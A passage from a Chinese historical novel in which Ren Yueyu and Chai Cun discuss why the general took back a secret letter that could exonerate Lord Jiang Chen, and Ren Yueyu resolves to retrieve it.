任月语红了眼眶。她抑制住冲动,平静问道,“既然先生得了可为江琛大人翻案的密信,为何将军不肯行动,沉冤昭雪,反倒将密信收回?” 柴存面露难色,“个中缘由,我也费解。” 他有一个猜测,估计是与江琛本人的意愿有关,江琅不过是按江琛的意愿行事。江琅选择容忍,无非是受江琛所托。然而这都只是猜测而已,不确定的事情,柴存不好向任月语诉说。 他想来懊悔,“方才……我真不该拿那密信出来,交予将军过目。我若是再胆大一些,就应当把那封信直接带走,届时用其余物证一齐上交,一网打尽,两全其美。” 他扼腕叹息,“只可惜现今将军已拿走了密信,我即便再想挽救,也没办法把密信拿回来了。” 任月语抬起了头,红润的眼睛里显露一丝坚定。 “我可以拿回来。”